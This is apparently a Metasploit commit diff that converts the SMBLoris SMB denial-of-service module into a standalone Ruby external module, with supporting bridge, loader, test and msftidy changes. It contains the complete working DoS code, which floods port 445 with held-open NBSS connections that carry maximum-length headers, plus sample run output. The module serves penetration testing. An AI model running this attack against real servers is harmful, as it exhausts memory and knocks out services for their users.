Land #9748, Convert the smbloris DoS into an external module
Help reliability and performance. This some Ruby-specific external module tooling as a result as well.GSoC/Meterpreter_Web_Console
commit
226ef160ff
|
@ -14,7 +14,7 @@
|
|||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/dos/smb/smb_loris`
|
||||
1. Do: `set RHOST [IP]`
|
||||
1. Do: `set rhost [IP]`
|
||||
1. Do: `run`
|
||||
1. Target should allocate increasing amounts of memory.
|
||||
|
||||
|
@ -30,14 +30,11 @@ msf auxiliary(smb_loris) >
|
|||
|
||||
msf auxiliary(smb_loris) > run
|
||||
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1025
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1026
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1027
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1028
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1029
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1030
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1031
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1032
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1033
|
||||
....
|
||||
[*] Starting server...
|
||||
[*] 192.168.172.138:445 - 100 socket(s) open
|
||||
[*] 192.168.172.138:445 - 200 socket(s) open
|
||||
...
|
||||
[!] 192.168.172.138:445 - At open socket limit with 4000 sockets open. Try increasing you system limits.
|
||||
[*] 192.168.172.138:445 - Holding steady at 4000 socket(s) open
|
||||
...
|
||||
```
|
||||
|
|
|
@ -42,7 +42,7 @@ class Msf::Modules::External::Bridge
|
|||
self.env = {}
|
||||
self.running = false
|
||||
self.path = module_path
|
||||
self.cmd = [self.path, self.path]
|
||||
self.cmd = [[self.path, self.path]]
|
||||
self.messages = Queue.new
|
||||
self.buf = ''
|
||||
end
|
||||
|
@ -66,7 +66,7 @@ class Msf::Modules::External::Bridge
|
|||
end
|
||||
|
||||
def send(message)
|
||||
input, output, err, status = ::Open3.popen3(self.env, self.cmd)
|
||||
input, output, err, status = ::Open3.popen3(self.env, *self.cmd)
|
||||
self.ios = [input, output, err]
|
||||
self.wait_thread = status
|
||||
# We would call Rex::Threadsafe directly, but that would require rex for standalone use
|
||||
|
@ -148,7 +148,7 @@ class Msf::Modules::External::Bridge
|
|||
# We are filtering for a response to a particular message, but we got
|
||||
# something else, store the message and try again
|
||||
self.messages.push m
|
||||
read_json(filter_id, timeout)
|
||||
recv(filter_id, timeout)
|
||||
else
|
||||
# Either we weren't filtering, or we got what we were looking for
|
||||
m
|
||||
|
@ -179,10 +179,24 @@ class Msf::Modules::External::PyBridge < Msf::Modules::External::Bridge
|
|||
end
|
||||
end
|
||||
|
||||
class Msf::Modules::External::RbBridge < Msf::Modules::External::Bridge
|
||||
def self.applies?(module_name)
|
||||
module_name.match? /\.rb$/
|
||||
end
|
||||
|
||||
def initialize(module_path)
|
||||
super
|
||||
|
||||
ruby_path = File.expand_path('../ruby', __FILE__)
|
||||
self.cmd = [[Gem.ruby, 'ruby'], "-I#{ruby_path}", self.path]
|
||||
end
|
||||
end
|
||||
|
||||
class Msf::Modules::External::Bridge
|
||||
|
||||
LOADERS = [
|
||||
Msf::Modules::External::PyBridge,
|
||||
Msf::Modules::External::RbBridge,
|
||||
Msf::Modules::External::Bridge
|
||||
]
|
||||
|
||||
|
|
|
@ -0,0 +1,58 @@
|
|||
require 'json'
|
||||
|
||||
module Metasploit
|
||||
class << self
|
||||
attr_accessor :logging_prefix
|
||||
|
||||
def log(message, level: 'debug')
|
||||
rpc_send({
|
||||
jsonrpc: '2.0', method: 'message', params: {
|
||||
level: level,
|
||||
message: self.logging_prefix + message
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def report_host(ip, **opts)
|
||||
report(:host, opts.merge(host: ip))
|
||||
end
|
||||
|
||||
def report_service(ip, **opts)
|
||||
report(:service, opts.merge(host: ip))
|
||||
end
|
||||
|
||||
def report_vuln(ip, name, **opts)
|
||||
report(:vuln, opts.merge(host: ip, name: name))
|
||||
end
|
||||
|
||||
def run(metadata, callback)
|
||||
self.logging_prefix = ''
|
||||
req = JSON.parse($stdin.readpartial(10000), symbolize_names: true)
|
||||
if req[:method] == 'describe'
|
||||
rpc_send({
|
||||
jsonrpc: '2.0', id: req[:id], response: metadata
|
||||
})
|
||||
elsif req[:method] == 'run'
|
||||
callback.call req[:params]
|
||||
rpc_send({
|
||||
jsonrpc: '2.0', id: req[:id], response: {
|
||||
message: 'Module completed'
|
||||
}
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
def report(kind, data)
|
||||
rpc_send({
|
||||
jsonrpc: '2.0', method: 'report', params: {
|
||||
type: kind, data: data
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def rpc_send(req)
|
||||
puts JSON.generate(req)
|
||||
$stdout.flush
|
||||
end
|
||||
end
|
||||
end
|
|
@ -43,6 +43,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
|
|||
relative_entry_descendant_pathname = entry_descendant_pathname.relative_path_from(full_entry_pathname)
|
||||
relative_entry_descendant_path = relative_entry_descendant_pathname.to_s
|
||||
next if File::basename(relative_entry_descendant_path) == "example.rb"
|
||||
next if File.executable?(entry_descendant_path) && !File.directory?(entry_descendant_path)
|
||||
|
||||
# The module_reference_name doesn't have a file extension
|
||||
module_reference_name = module_reference_name_from_path(relative_entry_descendant_path)
|
||||
|
|
|
@ -85,7 +85,7 @@ class Msf::Modules::Loader::Executable < Msf::Modules::Loader::Base
|
|||
begin
|
||||
Msf::Modules::External::Shim.generate(full_path)
|
||||
rescue ::Exception => e
|
||||
elog "Unable to load module #{full_path} #{e.class} #{e}"
|
||||
elog "Unable to load module #{full_path} #{e.class} #{e} #{e.backtrace.join "\n"}"
|
||||
# XXX migrate this to a full load_error when we can tell the user why the
|
||||
# module did not load and/or how to resolve it.
|
||||
# load_error(full_path, e)
|
||||
|
|
|
@ -1,89 +1,95 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
require 'socket'
|
||||
require 'metasploit'
|
||||
|
||||
require 'bindata'
|
||||
require 'ruby_smb'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
class NbssHeader < BinData::Record
|
||||
endian :little
|
||||
uint8 :message_type
|
||||
bit7 :flags
|
||||
bit17 :message_length
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SMBLoris NBSS Denial of Service',
|
||||
'Description' => %q{
|
||||
The SMBLoris attack consumes large chunks of memory in the target by sending
|
||||
SMB requests with the NetBios Session Service(NBSS) Length Header value set
|
||||
to the maximum possible value. By keeping these connections open and initiating
|
||||
large numbers of these sessions, the memory does not get freed, and the server
|
||||
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
|
||||
and Zach Harding.
|
||||
|
||||
DISCALIMER: This module opens a lot of simultaneous connections. Please check
|
||||
your system's ULIMIT to make sure it can handle it. This module will also run
|
||||
continuously until stopped.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'thelightcosine'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://smbloris.com/' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 29 2017'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(445)
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
header = NbssHeader.new
|
||||
header.message_length = 0x01FFFF
|
||||
|
||||
linger = Socket::Option.linger(true, 60)
|
||||
|
||||
while true do
|
||||
sockets = {}
|
||||
(1025..65535).each do |src_port|
|
||||
print_status "Sending packet from Source Port: #{src_port}"
|
||||
opts = {
|
||||
'CPORT' => src_port,
|
||||
'ConnectTimeout' => 360
|
||||
}
|
||||
|
||||
if sockets[src_port]
|
||||
disconnect(sockets[src_port])
|
||||
end
|
||||
|
||||
begin
|
||||
nsock = connect(false, opts)
|
||||
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
|
||||
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
|
||||
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
|
||||
nsock.setsockopt(linger)
|
||||
nsock.write(header.to_binary_s)
|
||||
sockets[src_port] = nsock
|
||||
rescue ::Exception => e
|
||||
print_error "Exception sending packet: #{e.message}"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
class NbssHeader < BinData::Record
|
||||
endian :little
|
||||
uint8 :message_type
|
||||
bit7 :flags
|
||||
bit17 :message_length
|
||||
end
|
||||
|
||||
metadata = {
|
||||
name: 'SMBLoris NBSS Denial of Service',
|
||||
description: %q{
|
||||
The SMBLoris attack consumes large chunks of memory in the target by sending
|
||||
SMB requests with the NetBios Session Service(NBSS) Length Header value set
|
||||
to the maximum possible value. By keeping these connections open and initiating
|
||||
large numbers of these sessions, the memory does not get freed, and the server
|
||||
grinds to a halt. This vulnerability was originally disclosed by Sean Dillon
|
||||
and Zach Harding.
|
||||
|
||||
DISCALIMER: This module opens a lot of simultaneous connections. Please check
|
||||
your system's ULIMIT to make sure it can handle it. This module will also run
|
||||
continuously until stopped.
|
||||
},
|
||||
authors: [
|
||||
'thelightcosine',
|
||||
'Adam Cammack <adam_cammack[at]rapid7.com>'
|
||||
],
|
||||
date: '2017-06-29',
|
||||
references: [
|
||||
{ type: 'url', ref: 'http://smbloris.com/' }
|
||||
],
|
||||
type: 'dos',
|
||||
options: {
|
||||
rhost: {type: 'address', description: 'The target address', required: true, default: nil},
|
||||
rport: {type: 'port', description: 'SMB port on the target', required: true, default: 445},
|
||||
}
|
||||
}
|
||||
|
||||
def run(args)
|
||||
header = NbssHeader.new
|
||||
header.message_length = 0x01FFFF
|
||||
|
||||
last_reported = 0
|
||||
warned = false
|
||||
n_loops = 0
|
||||
sockets = []
|
||||
|
||||
target = Addrinfo.tcp(args[:rhost], args[:rport].to_i)
|
||||
|
||||
Metasploit.logging_prefix = "#{target.inspect_sockaddr} - "
|
||||
|
||||
while true do
|
||||
begin
|
||||
sockets.delete_if do |s|
|
||||
s.closed?
|
||||
end
|
||||
|
||||
nsock = target.connect(timeout: 360)
|
||||
nsock.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, true)
|
||||
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPCNT, 5))
|
||||
nsock.setsockopt(Socket::Option.int(:INET, :TCP, :KEEPINTVL, 10))
|
||||
nsock.setsockopt(Socket::Option.linger(true, 60))
|
||||
nsock.write(header.to_binary_s)
|
||||
sockets << nsock
|
||||
|
||||
n_loops += 1
|
||||
if last_reported != sockets.length
|
||||
if n_loops % 100 == 0
|
||||
last_reported = sockets.length
|
||||
Metasploit.log "#{sockets.length} socket(s) open", level: 'info'
|
||||
end
|
||||
elsif n_loops % 1000 == 0
|
||||
Metasploit.log "Holding steady at #{sockets.length} socket(s) open", level: 'info'
|
||||
end
|
||||
rescue Interrupt
|
||||
break
|
||||
sockets.each &:close
|
||||
rescue Errno::EMFILE
|
||||
Metasploit.log "At open socket limit with #{sockets.length} sockets open. Try increasing you system limits.", level: 'warning' unless warned
|
||||
warned = true
|
||||
sockets.slice(0).close
|
||||
rescue Exception => e
|
||||
Metasploit.log "Exception sending packet: #{e.message}", level: 'error'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if __FILE__ == $PROGRAM_NAME
|
||||
Metasploit.run(metadata, method(:run))
|
||||
end
|
||||
|
|
|
@ -18,17 +18,19 @@ RSpec.shared_examples_for 'all modules with module type can be instantiated' do
|
|||
module_extension_regexp = /#{Regexp.escape(module_extension)}$/
|
||||
|
||||
Dir.glob(type_pathname.join('**', "*#{module_extension}")) do |module_path|
|
||||
module_pathname = Pathname.new(module_path)
|
||||
module_reference_pathname = module_pathname.relative_path_from(type_pathname)
|
||||
module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '')
|
||||
unless File.executable? module_path
|
||||
module_pathname = Pathname.new(module_path)
|
||||
module_reference_pathname = module_pathname.relative_path_from(type_pathname)
|
||||
module_reference_name = module_reference_pathname.to_path.gsub(module_extension_regexp, '')
|
||||
|
||||
context module_reference_name do
|
||||
it 'can be instantiated' do
|
||||
load_and_create_module(
|
||||
module_type: module_type,
|
||||
modules_path: modules_path,
|
||||
reference_name: module_reference_name
|
||||
)
|
||||
context module_reference_name do
|
||||
it 'can be instantiated' do
|
||||
load_and_create_module(
|
||||
module_type: module_type,
|
||||
modules_path: modules_path,
|
||||
reference_name: module_reference_name
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -109,12 +109,6 @@ class Msftidy
|
|||
#
|
||||
##
|
||||
|
||||
def check_mode
|
||||
unless (@stat.mode & 0111).zero?
|
||||
warn("Module should not be marked executable")
|
||||
end
|
||||
end
|
||||
|
||||
def check_shebang
|
||||
if @lines.first =~ /^#!/
|
||||
warn("Module should not have a #! line")
|
||||
|
@ -683,7 +677,6 @@ class Msftidy
|
|||
# Run all the msftidy checks.
|
||||
#
|
||||
def run_checks
|
||||
check_mode
|
||||
check_shebang
|
||||
check_nokogiri
|
||||
check_rubygems
|
||||
|
@ -757,6 +750,8 @@ if __FILE__ == $PROGRAM_NAME
|
|||
next if full_filepath =~ /\.git[\x5c\x2f]/
|
||||
next unless File.file? full_filepath
|
||||
next unless full_filepath =~ /\.rb$/
|
||||
# Executable files are now assumed to be external modules
|
||||
next if File.executable?(full_filepath)
|
||||
msftidy = Msftidy.new(full_filepath)
|
||||
msftidy.run_checks
|
||||
@exit_status = msftidy.status if (msftidy.status > @exit_status.to_i)
|
||||
|
|
Loading…
Reference in New Issue